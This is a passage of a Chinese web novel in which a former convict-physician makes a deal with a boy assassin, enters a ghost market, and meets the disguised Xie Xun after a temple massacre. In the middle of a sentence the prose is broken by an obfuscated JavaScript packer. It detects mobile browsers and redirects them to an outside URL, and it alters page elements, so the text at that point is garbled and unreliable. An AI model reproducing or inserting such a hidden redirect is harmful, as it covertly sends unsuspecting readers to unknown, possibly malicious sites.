何烟儿火了:“说什么七弯八绕的话,你就是说我胖,脸上又生疮呗。”一旁的何氏听女儿这么一解释,瞬间懂了,拿起扫帚要朝姜时愿挥去,哪想姜时愿不仅不躲,还伫立不动:“上诉的所有病状乃湿热所至,或许我能帮令爱纤瘦身形,还原芳颜。” 姜时愿这番话,正中何氏母女的心。 何氏有些不敢置信:“你当真有办法?” 姜时愿:“搭配解方还有金针渡穴,便可化湿和胃,祛湿化浊。” 三七也连忙说道:“是呀,时愿姐姐是医女,识得百草,也看得了病。我在皇陵的头疼脑热还有伤病都是她用山上采的草药帮我医好的呢,可厉害了。” 何氏还有有些犹豫:“我可从来没见过哪家医官有女子为大夫?” 何烟儿一听姜时愿真的有这么神,拉着何氏拉至一旁说上体己话:“娘,咋家没啥钱财都不能到镇上求郎中,正好来了个医女,你咋还挑三拣四的,难不成你不想让女儿嫁高官吗?先让她暂时住下来,不行再赶走吧。” 也是个办法。 何氏拗不过女儿娇嗔,摆摆手,“罢了,住下来吧,但先跟你们说好,农活还是得干。” ... 经过一场风波,总算得以住下。 姜时愿被分到西舍,屋舍程设简单,一桌一床就已经填满这间狭小西屋舍的全部,不过倒也比女囚里面的滋味好受许多。 姜时愿罕见地觉得有些乏了,好不容易离开皇陵,却又因贱籍身份受限,不得回京。 难怪圣人会这么轻易赦免了她的罪,却又将她贬为贱籍。 现如今,如何摆脱贱籍,就成了她的首要任务。 可惜唯有店小二讲的去鬼市买良民身份的法子更为靠谱点,可是,又如该如何找到鬼市呢?鬼市,却有所在,但又想幽魂鬼魅般飘荡无影、神秘至极,时至今日,就连官府不都也没找到鬼市的入口吗,她又该去哪找呢? 思及此,她深深叹息,按摩着自己腿膝的穴位,将双足泡入浴桶之中。 这还是三七背着姨娘偷偷打来的水,贱民带中就连一桶水都极为珍贵,这要是姨娘知晓了,指不定要扒三七一层皮。 温水治愈,茉莉香飘入轩窗,暗香疏影,难得让姜时愿心绪舒畅起来。 倏然,木门被人轻叩了三下,姜时愿闻声赶紧擦干足背水渍,起身下榻开门,结果空迎一阵凌乱的夜风,不见人影,竟然不是三七在敲门吗? 正怎么想着,再合门转身后,忽然看见在她身后三尺远,案几前端坐一个人影。 蓦地抬眼,眼神清澈又冷漠, 屋舍唯有二人,一立一座,站着的女子平静的外表下藏匿着咚咚直跳的心悸。 袁黎为什么会在这里? 难不成是典狱听也接到消息她已回京城,想在此地杀她,以绝后患? 姜时愿怔然:“典狱之人竟然也敢知法犯法,私闯民宅?” 袁黎歪着头,似解非解:“已敲门三下。” ... 姜时愿朱唇微抿,果然无论多少次,她都应付不来袁黎,他的的举止行为缺少十岁小儿的天真浪漫,他的眸色幽暗无光,行为单一,客套古板,却又在不合理的地方展现他这个年纪的天性,比如将傲慢无礼和我行我素发挥到了天性。 不过,一想到袁黎自小受教于谢循门下,姜时愿又能将他性格为何怪诞自此解释得合情合理. 姜时愿不敢被何家人和三七听见动静,合拢轩窗,现在的当务之急是赶紧把这小‘罗刹’也请离,免得连累何家人。 姜时愿对他充满堤防:“我已经被圣人赦免重罪,典狱莫不是容不下我,想在此处动手?” 袁黎不言,朝着她抬起掌心,就在他抬起掌心的一刹,姜时愿机敏地后退一大步,而后才后知后觉袁黎毫无敌意,他的 掌心上是一个揉捏成团,又带着点绿意,似人非人的草人? ...若说是人,头上有不该有犄角。 她好似想起来,初见袁黎之时,他好似一直反复不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053455|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地折着一只草兔子。 袁黎目光笃定:“帮我。” 姜时愿深深凝气,仍未放下戒备,问:“你来找我就是为了这事?”袁黎这次颇为乖顺地点了点头,撩起骑装下摆,一个侧身坐在案几上,与姜时愿平视道:“你帮我完,我就走。” 这口气不像是在商量,更是威胁,不愧是谢循门下,真是有样学养,令人生厌。 “拿来。”这声音冷得可怕。 姜时愿实在也琢磨袁黎的心思,但也不愿再给何家添麻烦,还是跟袁黎做了交易。用红折子点了盏煤油灯,来至灯下,细细地做起手工。她女红向来不错,多是因为小时候礼教嬷嬷太过严苛的缘故,要是想少挨点戒尺,必须得绣出让嬷嬷满意的绣品才行。 夜下,烛火噗噗作跳,姜时愿依旧低着头,先行编好兔子的大致框架,再由细小的绒草填满。这活看着简单,但要细致地坐起来,竟然花了一个时辰。 姜时愿忍着肩颈的酸痛交到袁黎手中时,这淡漠的小郎君倏然眸光发亮,有了笑颜,就如手中的小兔子般,头一次有了八岁儿童般该有的孩子气,竟有些让姜时愿意外。 她又转念想到,袁黎心智不足,缺乏主见,或许能他口中探听到鬼市的线索。 姜时愿平生第一次昧着良心说谎:“你可知鬼市上有一种奇草,名叫九转还魂草,用此草捏兔子,不仅不易腐烂、枯败,还能让小兔子活灵活现,宛若真物。要是能用此草,帮你编兔子就好了。可惜,我并不知晓鬼市在哪?” “鬼市?”袁黎倏然抬眸,果断道:“鬼市为逃避官府追查特定半夜而合,鸡鸣而散的规矩,你若欲寻鬼市需子时出门,前往鬼都山角脉的入口处。对了,入鬼市者人人均得以面具遮面,遮其真身,首鬼市渡口的船夫以面具识人,若来人的面具样式不在名单之列会直接就地斩杀,不留活口。” 以面具断定来者的身份倒是别有风趣,可这也难倒了姜时愿,“那我又该如何得到受邀之人的面具呢?” 袁黎想也想就道:“这有何难?路上遇见谁欲去鬼市,拦下,绑了他,获其面具。”话说出口,袁黎又有些犹豫地觑了姜时愿一眼,这才想起她骨瘦如柴的身子骨应该劫不了他人,咬了咬唇:“鬼市月满之日才开市,算着月历应该十五日后。” “十五日后,子时鬼都山脉见,我帮你。” “一言为定。” 姜时愿也没想到袁黎竟意外地有些好骗,姜时愿也心生出一丝微妙之感,或许袁黎并无她所想那般凶恶,傲慢,心性依然至善,只不过跟错了人,一时误入歧途。 袁黎又忽然垂下眼,不安地摩挲着兔子:“国公说世人往来,皆为利益驱使,无恩无利,不成交易。你既又要帮我找奇草,又帮我折草兔,定是也有求我于我。你且说来听听,或许我可以答应。” 姜时愿忙说没有。 “国公也说过,此时说无者,皆为心虚之象。” 说及此,袁黎的眼神又倏然恢复狠厉:“说清楚,你的所求到底是什么?” .... 姜时愿一时怔然,她探听鬼市的目的,显然已经达到,此刻又要让她临时现编一个目的,着实有为难他了。 可是又扫到袁黎已经抽出腰间短刃,以示威胁。 情急之下,姜时愿脱口而出:“我想知道,魏国公究竟是个怎么样的人?” 原以为听到此问的袁黎会对她满是戒备,谁想他竟收起匕首,重盘双腿,显然一副松散之姿,好似已经不是第一次听到此问般。 他蹙了下眉头,极其不耐得说:“果不其然,你和国公身旁的莺莺燕燕都一样,接近我,都是为了探听他的喜欢,好借此爬上他的榻。” 姜时愿一语凝噎。 17. 017 光阴荏苒,转眼又十五日过日,已经到了和袁黎约定之日。 日阳西斜,小桥流水边,姜时愿和三七正在岸边合力绞干衣衫里的水,木桶里溢满出来的衣物全是何氏母女二人的衣衫。自从姜时愿和三七入住之后,何氏把所有的粗活全部甩了出去,自己则当起督工,还总要挑这挑那。 就连三七也看不下去了,气得将何氏那件最爱的朱衫直褂直接甩在竹竿上,姜时愿笑着替她抚平褶皱。 三七嘟囔着:“我就是看不惯姨娘欺负你,姐姐现在替何烟儿治好了脸上的疮,姨母高兴子,觉得姐姐又无用了,现在老是挑这挑那,变着法地加活儿。” 姜时愿道:“且忍着吧,等我们入了汴京,没准就可以过上好日子了。” 三七还是有些不敢相信:“姐姐,我们真的能摆脱贱籍吗?” 姜时愿提起木桶往回走,幽幽道:“没准呢?” “我信姐姐,姐姐在皇陵时也说了这话,我起初还半信半疑,结果不就成真了!”三七乐得一下笑开花,蹦蹦跳跳地,“我们肯定能重回汴京。” 躲在屋舍里暗中窥伺姜时愿二人的何氏气得脸都僵了,又转向女儿,何烟儿正在对着残缺的铜镜欣赏自己久违的美貌,不由地暗暗惊叹自己出水芙蓉,嘻嘻一笑。 何氏道:“你听见她们二人说啥了吗?背地里,在埋怨我老婆子的不是,我好心收留两个吃白食的人,她们还先叫起来了。” “阖着,我老婆子是养了两只白眼狼儿啊。” 何烟儿一看母亲气了,忙放下铜镜,倒了杯水,哄着母亲消气:“别气了。你瞧她们还大言不惭说能摆脱贱籍呢,这贱籍哪是说消就能消的啊。又不似我,来日能嫁个高官,到时候直就能逃脱这个贱民带了。” 言之有理,何氏点点头,重新审视了女儿。经过姜时愿一日三次的草药调理,还有每隔七日的银针渡穴,何烟儿的疮也消了,气色不仅大大改善,原些黝黑的肤色也能剥了壳的鸡蛋似的水嫩,还有那身材也清瘦了不少。 何氏暗叹,这姜时愿确实有些本事。 何氏忽然对何烟儿说道:“对了,如今你已经国色天香了,还要留着让姜时愿啊干嘛,多一个人,多一个吃白食的,就多耗钱两。” 一提钱两,何氏又眼珠子一转,对啊,她怎么没想到啊? 这姜时愿长得水灵,要是将她卖去青楼娼馆,没准还能要个好价钱,而且姜时愿与她们同为贱籍,一个贱民的死活官府不会在意,她又在京中无亲属,除了三七,没人会在意她的死活.... 一轮明月高悬。 月华满盈,穿堂入户,映在素白帐幔上,榻上之人倏然睁开了双眼,一双琥珀色的瞳仁尤为清澈。 对于夜间出行之事,姜时愿已经轻车熟路,还特意披上了件玄色披风,照着与袁黎约定好的时辰,前往鬼都山脉入口。 静夜沉沉,冷浸沉沉夜。 姜时愿在密林之中夜行,笃笃心跳起伏澎湃,这里的山路更比南陵还要渗人,有种说不出的诡异,她一边探索,一边叫唤袁黎的名字。 夜风呼啸而过,稀疏竹影随风摇晃。 伴着一阵细碎伶仃的动静似叶落的声音,姜时愿额角已渗出细密的汗珠,用手背掀起拦路的乱竹,倏然一道人影颠倒在她的眼前,近在咫尺,一张脸半明半暗。 姜时愿双眸圆瞪,一声惊呼顶到喉咙顶,又强硬地咽了回去,侧过脸去,道:“袁黎,下次能不能不要这般吓人。” 袁黎冷哼一声,呲道是姜时愿太慢。 又恰好此时,远处有几盏零星的灯火在树影之中穿越,越来越亮,姜时愿也逐渐听清了些车轱辘碾过砂砾的声音,应该是有辆马车在朝着鬼都山行驶而来。 这个时辰进山的人,应该是为了鬼市而来。 “袁黎。” 姜时愿小声提醒袁黎做好准备,袁黎颔首应道“得令”,遂以迅雷之势一把扣住姜时愿的肩膀,将她藏在巨树之后。自己则如飞燕两踏两步飞升上数,屈膝隐在暗角之中转着腕骨,心算着动身的时机。 火光愈来愈亮,一辆是四驱马车舆静行在密林之中,四名玄衣侍卫单手持缰高举火把随行护送,所过之处亮如白昼,疾快如风,动静极大,看来骄中之人非富即贵。 姜时愿:“真的要劫持这辆车舆吗?以一敌四暗卫,好像胜算不大,要不再等等...” 毕竟,袁黎尚且不足十岁,要敌四位训练有素的侍卫,实在是有些欺负了人了.... “你当我是如他们一样的废物吗?” 袁黎并未将她的担忧放在心中,袖间一枚飞箭已经射出,其速度之凌厉,当场划破两匹马儿的四蹄,两名侍卫来不及反应,随着骏马滑产跌落在地。 骄中之人听出动静发出惊呼,两外两名侍卫赶紧朱缰勒马,抽出配刃,警惕地扫视着四周密林,刚刚的飞箭速度太快,甚至看不清走向,和从哪个方位而来,来人定是个高手! “谁!” “出来!” 话音甫落,潜藏在林中的袁黎在月华之下宛如迅豹拔足掠过侍卫身前,快如惊雷,只留残影,侍卫当今挥刀劈下却扑了个空,甚至还未来得及撤回动作,就遭后劲一遭重击,晕倒在地。 不过须臾,四位侍卫皆被放倒,姜时愿只见袁黎不甚在意地伸了个懒腰,啧道无趣,随后慢慢幽幽掀帘走入骄中。 骄中之人骇得大喊大叫拼命求饶,随即就没了声,估计也是被袁黎一掌劈晕了。 仿佛电灯火石间,一切尘埃落定。姜时愿燃起灯盏,从树后现身,袁黎已然在翘着脚仰面躺在骄顶上,修长如玉的手上衔着一个面具,散漫地丢在姜时愿手上,道:“走了。” 倏然,袁黎垂眸扫向骄下的女子,黑发如云,一袭白衣素雅,折腰以微步,分明没有明艳出尘的五官,也未施粉黛,可是就知不知为何一颦一笑就能动人心魄。 还有就是,她的草兔折得极好。 “我与你之间的恩怨,我可以不再计较。” 袁黎轻咳一声,说得字正腔圆:“你确实比国公身旁的莺莺燕燕还要赏心悦目,若如果是你在他榻上的话,我....我不反对。” 说罢,还未来得及听到姜时愿破声疾言“我与他这辈子绝无可能”,袁黎已经轻功越过万重山,身影消融于夜幕之间。 姜时愿郁闷至极.... 进入鬼市的步骤一切如袁黎所说,守关之人是为渔夫,年近五十,头发大半花白,扫了眼姜时愿脸上的面具略微颔首,道了句:“姑娘,请上竹筏。” 姜时愿坐上船头,渔夫在后挑杆划着浅浅水波,一艘竹筏夜行于缭绕山雾之间,两岸黑林中隐有狼嚎莺啼,不似人间,更似鬼境。 湖面上烟雨霏霏,空无一人,而真正到了鬼市却截然不同。东方夜放,火树银花,鼓乐喧闹不绝于耳,香烛药香弥漫四周,往来之人来自五作十行,络绎不绝,丝毫不输汴京城的繁盛。唯一不同的,这里的行人皆遵着规矩,戴着志怪奇异的面具。 听闻鬼市不同于夜市,无官府管辖,所以这里的营生与地面上的略有不同,除了地面上都买到的琳琅珠宝、百品奇货外,这里也暗里经营着兵器、毒蛊、农奴、人口。 姜时愿接连打听了四位小贩,才打听到了“白无常”。听说此人号称恶鬼投胎转世,喜怒无常,极不喜光,唯喜湿冷之地,所以他的‘阎罗殿’铺也选择到了鬼市作为偏僻的地底下。 怪哉,分明没有下雨,可姜时愿却听见雨水滴滴答答,呼啸的风声藏有中女子凄惨的哭声。 匾额上的阎罗殿已经字迹斑驳,蛛丝遍结,似乎此地已经荒废已久。 “ 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“可否再便宜一点?” 姜时愿她随身不过两块银艇,这还是在皇陵时变卖草药时积攒下的,来了汴京油贵米贵,处处需要花钱,久而久之,这荷包的钱越来越少。她也想赚钱营生,可惜贱籍不在五作十行之内,就意味着她根本不能寻找一个体面的营生。 白无常,人无其名,喜怒无常,听到姜时愿与他讨价,指着上方‘恕不议价’的匾额,大怒道:“没钱来什么阎罗殿,本店不欢迎无财之人。” 话落,夜风大作,一股极强的风吹地窗牗、朱门开开合合,桌椅移位,甚至连姜时愿都不堪忍受这股强风,双眼闭合,只凭借听感,听到无数桌椅被掀飞的举动,这样强劲的风流让她身子的重心愈发飘忽,好似下一瞬就似风筝飘起来般。 艰难仓皇间,她只能躲到庭柱之后,抓紧机会道:“白掌柜,这两位良籍的户贴当真于我十分重要,可否允许我先赊账,等晚辈入京之后,定双倍奉上。或者,可否允许我在你手下寻份差事,以此抵消债务?” 白无常面色已经不大好看:“够了!老夫不缺伙计,只缺钱财。你若再在此妨碍我做生意,休怪我不客气。” 姜时愿愈发不能抵抗风力,即将被吹飞之际,一名靛青衣衫的小厮着急忙慌地跑了进来,神色慌乱:“白掌柜大事不好了,眼看快到亥正时分了,捡尸人这个点都还没有来,而且还联系不上了。现在该如何是好啊,要是误了贵人的正事,可就糟了....” 捡尸人? 姜时愿微微蹙眉,她还是第一次听闻这个营生.... 风声一点点小了下来,白无常罕见地犯了难,阎罗殿除了出售各种市面上罕见的逝者或违禁之物,账面上主要的收入来源于替人收尸。 所谓捡尸人,又名收尸。主要是听雇主的命令,去往指定的地点,帮雇主掩埋尸体罪证,毁灭证据,亦或者是毁坏尸体,伪造致命伤痕,帮助雇主洗脱嫌疑,逃脱官府追查等。 小厮急忙追问:“掌柜,这个任务还是金子号的任务,这背后的雇主必然是位高权重之人,我们不好得罪啊。为今之计,是得赶紧再找一名捡尸人,前往北邙山破庙。” “你这话说得轻巧,我现在去哪找人,难不成街上随便抓一个?”白无常唉声叹之余,殊不知姜时愿已然站在他的面前,腰背挺得笔直,言辞铿锵:“我去。作为交换,事成之后,你要将我和三七二人编入正户,脱离贱籍。” 白无常诡异地笑着,松散的皮褶霎显沟壑,苍老的指尖,翻过金简:“小姑娘胆子可真大,你知道今夜是要去收谁的尸吗?”” 伶仃一声,清脆悦耳。 金简上赫然纂刻四个字,沈氏余孤,沈浔。 18. 018 两个时辰前。 巷陌间传来遥遥木鱼的敲打声,身后的高楼灯火已经泯灭。 青年站在月下高楼,衣诀翩飞,他的容颜隐于月色朦胧,半明半暗之间,一念之差,神佛之别。 夜风飒飒,一只鹰隼夜行于坊间,越过高墙,最终停息在谢循的肩上,几梗捷羽展翅而抖下。谢循今夜的眸光中多掺杂了些怜悯,抚了抚雄鹰的鸦羽,顺势解下他爪子的信笺。 信上内容,与所想一致: 三年前京师惨遭灭门的沈氏,还存有余孤。沈氏之后现逃亡至北邙山,性命垂危,还请魏国公出手相救。 观信之后,谢循眸色皎皎如霜色。 忆起三年那晚,汴京从未下过如此大的雨,典狱忽然接到民众报案,说沈府夜半传来凄绝哭喊。 等谢循匆忙赶到沈府之时,为时已晚。所望之处全是血色,尸痕遍野,一夜之间沈家上下百人惨遭灭口,就连妇孺及长者也未放过,都是被人一刀干脆利落地抹了脖子,死状凄惨。 杀手不仅手段毒辣,还极有意识,离开之时还一把火扬了沈府,没有留下任何蛛丝马迹。喧天的火光映亮了半边天,典狱司使百人不停不休地打水灭火,从黑夜熬至天明,才将大火控制了下来。 此事怪哉,沈家之主,沈煜,是今朝的御史大夫,为人谨小慎微,因为不求高升,所以从不涉及朝中的权力之争,一心扑在官职事务上,为百姓称赞颂扬,可就是这样的清官究竟得罪了谁,被人会别人屠戮满门,不留活口... 这样的屠杀,不似单纯的复仇,在谢循看来更像是杀人灭口。 而如今,事情出现转机,当年杀手竟然遗忘了一个漏网之鱼,就是沈煜曾流厉江南间与一名花魁情投意合下生下的私生子。当时的沈老夫人觉得其母身份低微,所从营生更是见不得人的,若是进了门可就真是败坏门楣了,故而狠心棒打鸳鸯。 所以,那位见不得光的私生子养在外面,但也故而因此,有幸逃过一劫。 但如今身份暴露,被杀手一路追杀,逃亡至北邙山。 谢循面无表情地将此信笺点燃,看着这噗噗直跳的烛火,一点点吞噬着指间的信笺,燃为灰烬,飘散在风中。 此时,一位黑影翻上高楼,跪在他的身后,颔首道:“对不起,主君,袁黎回来晚了,没有在亥时之前回到典狱,坏了约定。袁黎这就是面壁思过,并自领戒尺十下,此后再也不敢了。” 此时的沉默,更似无声的压迫,有些让袁黎感觉后怕。虽然谢循从不外显情绪,亦很少动怒,可他仍然是袁黎在这世间最怕之人,主君能不动声色地就看穿他所有的心思,而且好似这世间万事,就没有主君不知道的。 扇柄有节律地敲在膝上,谢循淡淡发问:“是什么人让你忘了规矩,莫不是刚从姜娘子那回来?” “没。”袁黎下意识地想要狡辩,不想让谢循察觉他与姜时愿之间的交易,但以后转念想到每次在主君面前说慌皆会被毫无保留地看穿,遂改口道:“是的...她说要用九转还魂草帮我捏这世间最独一无二的草兔。” 谢循推测道:“她帮你捏草兔的所求是什么,是求你帮她入鬼市,脱贱籍?” “不不不。”袁黎赶紧摇手,面色一红,大放厥词:“姜时愿爱恋主君,是男女之间的那种喜欢,接近我,讨好我,就是为了探听主君的喜好。这是我推测的,当然她也默认了。” 话音甫落,袁黎便听见谢循的笑声。 谢循忍不住扶额笑道,这笑声刚开始是舒朗,再后渐渐裹上阴郁,化为淡淡的讥笑。 谢循精算一世,可总在姜时愿上屡屡失错。 他没料到,姜时愿此时竟然出现在鬼市。而且,为摆脱贱籍,她现在又恰好在白无常的阎罗店铺中。他本意不想让这未知的变数参与其中,可他和姜时愿两个本不该相交的线,总是被神佛戏弄,冥冥之间,为他们引线。 阴差阳错间,姜时愿竟然成了他的命定之数。 谢循翻转着折扇,骨扇如鱼儿般洒脱流窜在他白皙的指尖,行云流水,教袁黎看得眼珠子转个不停。 良久之后,谢循转过身,望向袁黎。 面对着袁黎错愕的目光,他笑了笑:“袁黎,我离开的这段时间,一定好生照顾自己。” 袁黎还未回过神来:“主君,要去哪里?” 谢循声音很淡:“出趟远门,归期未定。” — 亥正时分,姜时愿也从鬼市离开,起身前往北邙山。 白无常似鬼非人的嗓音已然回荡在她的耳边:“姜姑娘,你可想好了,这单生意说难不难,说简单也不简单,雇主希望你去北邙山上的观音庙中走一趟。” 他摩挲着刻有‘沈氏余孤’的木牌,笑容愈发阴险: “躲在观音庙中的这位小兄弟估计还不知道今晚阳寿要到头了吧,三位顶级的杀手要来索他的命呀,这阵仗太吓人。” “杀手负责杀人,而咱们捡尸人的任则是收尸。所以,姜姑娘你的任务就是前往观音庙,埋了沈氏后人的尸骨,顺便带回他身上的信物。听懂了吗?” 白无常话末那股诡异的微笑如黑云始终压抑在姜时愿的心头。 暮色四合,月光不知何时被游动的黑云遮蔽。 处于山脚下的姜时愿抬头仰望这黑鸦的北邙山,连绵山峰宛如接天的黑影,光影与阴翳互相争锋,唯有山顶上有一些零星的红影,像是殿宇下亮起的红灯笼。 这灯笼亮起的地方,应该是北邙山上的观音庙,听京郊百姓传言,曾经这观音庙上的香火极为灵验,来往香客数不胜数,可自从汴京城中兴建了兴善寺后,许多香客舍远求近,全部改而拜起来了兴善寺,所以这观音寺便日渐荒废了。 姜时愿望向山顶的观音庙,心中不免唏嘘。 ~ 于此同时。 观音庙中。 窗棂外透出的一丝月华打在蒙尘的观音像上,映出如玉光泽般的冷光,观音像立于月华与阴暗之中,垂眼看向跪在蒲垫上的信众,面露怜悯。 这位信徒年纪不大,一身素雅罗衣,墨发以竹簪竖起,双手捧着三柱香,虔诚跪拜。 口中念念有词,不知在观音像许下了什么愿。 倏然,庙宇之内分明无风,可是门扉、窗牗皆被吹开。青年余光扫下,通过木砖上的投影,看见三个影子从背后逐渐接近自己,一影是女子手中抱着琵琶,其余两影,一位身形壮硕,还有一位脊背佝偻,就连步伐都些颤颤巍巍。 他们三人将青年一人围在中间。 青年刚想起身,就被一双白皙的素手按下。 “沈郎,可真是让我们好找啊。算是我月无暇也是低估了你,没想到你没学过武艺,可这腿脚却甚是灵活啊。”月无暇长长的睫毛微微地颤动着,这手心慢慢向前青年的肩前探去,“可惜,今夜就是你的死期。放心,上苍有好生之德,我们也有一颗慈悲心,替你收尸之人也在路上了。” “也不知阁主怎么想的,杀一个毫无还手之力的弱鸡,还要派出两位‘地’字杀手和一‘天’字杀手,简直是大材小用。”青年听见那位身材魁梧之人出声抱怨。 月无暇呲了一声,“林枫,就数你话多。药老贵为天字杀手,阶级皆在我们之上,一路上也没听见药抱怨过一句啊,反倒是你,又菜话又多。” 林枫:“你这丑琵琶女,胡说什么呢!同为地字杀手,有谁又比谁高人一等呢?” 这世间将人分为三六九等,也将武功高强之人依次排序为人、地、天、绝,‘人’字最末,‘绝’字为之最,每个阶级之间相差宛若一条无法逾越的鸿沟,就比如一名‘地’字高手可能穷极一生、拼尽一生所学,也抵不过‘天’字一招一式。 这世间位列‘人’字的高手数不胜数,而晋升‘地’字者,唯有百人;‘天’字者更是少之又少,仅有十八位;而位于所有高手之上的‘绝’字,至今为止,只有四人。 正如林枫所言,杀一位沈浔,派出三名顶级杀手,过于兴师动众。 青年未见丝毫畏惧,依然一脸淡然的笑容,似乎对周遭一切都 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而后青年足尖轻点,翻身跃起,在空中稳稳接过折扇,一个淡然擦肩略过林枫,林枫便觉得脖间微凉,下一刻,也好似月无暇般无力地栽倒在地上,看着鲜血慢慢满开在青石地砖上。 一时之间,解决两名地字高手。 药老立刻反应过来,机敏退后:“你不是沈浔?你究竟是谁?”说罢,他看见男子低头一笑,手中摇晃着沈氏祖传的玉佩,嗓音低哑宛若罗刹:“谢某若不扮做沈氏之后,如何能引蛇出洞呢?” 谢某?难不成是典狱之主,谢循? 药老大惊失色,莫不是今夜都是谢循亲手布下的一场棋局。难不成,这世间压根没有什么苟活于世的沈氏后人,这一切都是谢循放出的假消息,目的就是为了引出当年屠灭沈家满门的真凶。 若果真是这样,眼前之人心思之深,当真可怖。 “可惜谢某运气不好,没有等来当年的真凶,只等来了三个小喽啰。”谢循歪了歪头,神色骤冷,提声道:“不过,也因此得了些线索,原来是暗河之主下令屠杀的沈家,那么真凶也应出自暗河。” 药老双眸圆瞪。 他暗暗叹道失算,而且之前可从未听过谢循会武啊,而且还能如此轻易斩杀两名‘地’字杀手,莫不是他也与自己同为‘天’字? 思及此,双眸逐渐变得猩红。 药老怒火难平,瞬间观音像轻刻之间化为齑粉,往空中一散毒粉,响动如雷:“谢循,既然要死,那便一起毒死在这吧。与你同归于尽,也算是为暗河除害了。” 地势天翻地覆,地面青砖凝土分裂。 顷刻之间,观音庙全然倒塌,沦为一片废墟。 片刻之后。 唯有一人走出庙宇。 出了观音庙,谢循仰头看见一轮明月,苦笑地牵了牵嘴皮。 又是个月圆之夜啊... 每至月圆之夜,他体内的寒毒就要发作,说是毒,更像是一种极刑,一点麻痹着他的五感,吞噬着他的四肢百骸,更甚至一点点磨灭他的记忆,让他渐渐忘却所有。 到现在,他已经完全忘却了十岁以前的过往,忘记如何来到典狱,更甚至忘记身中此毒的经过。 而此次毒发,他的记忆又要缺失哪一部分呢? 从谢循的额头,沁出细细密密的冷汗,脊骨里面宛若无数蛊虫在啃食他的五脏六腑,他捂着胸口,踉跄地前行,脚步越来越虚,这钻心的剧痛开始占据他身体的主动权。 他终于没有忍住,一下子完全栽倒而去。 出乎意料的疼痛和湿冷并没有到来,反而跌入了一个清冷的怀抱。 来人的女子身形娇小瘦弱,他弓着身子勉强伏在她的肩头,浅浅地喘息着,温热的鼻息喷洒在她如玉般的脖颈间,而后一个极为清雅的草木香侵入他的五感,渐渐削去他的痛楚,而代价是他开始慢慢疲倦,丢失自我。 在意识最后一刻弥散之际,谢循听见了一个熟稔的女音: “公子,我观你面相痛楚,需不需为你搭下脉?” 19. 019 半个时辰前。 北邙山的山路过于幽深,姜时愿从怀中掏出一枚火折子,微弱的烛光刚碰到烛芯,倏然耳旁传来如冬雷般阵阵的轰塌声,她错愕地抬眼望去,正是观音庙所在的方向。 刹那间,那山顶微弱的火光也浑然消失不见。 观音庙出事了! 姜时愿怀着这份忐忑马不停蹄地赶往山顶,等赶到观音庙之时,宏伟庙宇已经倒塌,还未正式步入庙内,一股浓重的血腥气铺面而来。她心中暗感不妙,吹灭灯盏,走入一片狼藉的观音庙中。 庙内,本该流芳百世的佛墙壁画化为了齑粉,地砖千裂百缝,每踏进一步都感觉头顶上东倒西歪的庭柱岌岌可危,细细的砂砾从上方倾倒下来。 她不敢忘记白无常的交代,迫切地想找到沈氏余孤的尸体,遂寻着血腥气步步深入,倏然脚底似乎被一截微凉的软物绊了一下,错愕地向脚底扫去,竟然是只血手从堆叠的石壁下伸出来! 从血手的皮色、温度来看,应是男子且刚死没多久,难不成这具死尸就是沈氏余孤? 姜时愿推开石壁,同时月光也得了空隙扑洒进来,一点点照亮石壁下惨不忍睹的尸体。 只不过死尸不止一具,竟足足有三具,一男一女一老者。男尸是那具血手的主人,四肢似是被利刃大卸八块。卧在旁边的女尸,怀中抱着断弦的琵琶,纤细白嫩的脖颈糊上一层浓厚的血色。而最惨的还是那具老者双眸圆瞪,不肯合眼,死不瞑目。 而观音庙内处了这三具尸体,她再无找到第四具。 奇怪。 这三具死尸显然都不是沈氏余孤,倒是更符合白无常口中的三名顶级杀手。 那沈氏余孤的尸体去哪了呢? 一轮月光扑洒在她脚下,而她心思杂乱,出了观音庙便再没有心思看清眼前路,更没注意到前方一位墨绿锦袍的男子捂着胸口,拾阶而下。 猝不及防间,姜时愿倏然撞进一个满是清冷的怀抱。 月光下,两颗心脏隔着慰贴的布料,笃笃直跳着。 错愕之际,姜时愿抬眼向上扫起,青年在月下发丝如墨,面容清疏,风光霁月。那一双映着月色而清越的瞳眸是她见过最为有神且富有诗意之景,就连他微微颦眉都能如此好看,整个人透出冰雪似的空静。 姜时愿饱读诗书,文采斐然,如今心中却取不出一词来描绘今夜所撞见的男子。他生得太好看了,出尘如谪仙,不,谪仙并不准确,那双绝无仅有的眉目只能让她乱想到《志怪录》中摄人心魄的艳鬼。 不知不觉间,她的脸慢慢浮上一层红润。 她是爱美之人,可还是生平第一次看个男子,红了脸。 真是不争气啊。 那位男子好似正在承受着剧烈的痛楚,竟然还站稳的气力也没有了,虚弱地伏在姜时愿的肩头,汗珠凝在他的下颌又一路滑落在姜时愿的锁骨中。而他显然也没放过姜时愿,似要让她也感受到他的痛楚,急促而温热的鼻息似有节律地呼出在她白玉的肩颈之上。 又是亲密的接触,又是这旋昵的氛围,又是这惊人的美色,暧昧的旋昵在夜色中无声无息地蔓延。比起坚定的心智,姜时愿的生理也有了作答,耳户燥热不止,而男子鼻息喷洒之所在,更是泛起湿痒之意,酥酥麻麻的。 姜时愿侧过脸,想推开压在她身上的‘千斤顶’,却被那位他一把擒住皓腕。 这才感受到,他的掌心极为寒凉,而他的身子正如沸水般滚烫,这半严寒半酷热的体征,极为怪异,似是身中剧毒.... “公子,我观你面相痛楚,需不需为你搭下脉?” 姜时愿感觉到他的额头抵在她的颈窝处,大汗淋漓,呼吸愈发凝重。 同时。 他的神志被痛楚一点点抽丝剥茧,整个人宛若摇摇欲坠,立于生死之际,他的嗓音喑哑:“姜娘子,你果然来了。” 可惜这话太过于轻微,不仅没能让姜时愿听到,而也耗光了他所有的气力,再无任何知觉,倾倒下去... — 贱民带中刚刚燃起第一缕炊烟,慢慢地,家家户户中陆续有人抗着田锄,挎着木盘走向各自的一亩三分地,融入这三水墨画之中。 倏然,这安逸祥和之景,被一声杂音打破,那粗旷的嗓门和阴阳怪气的语调一听就是何氏。 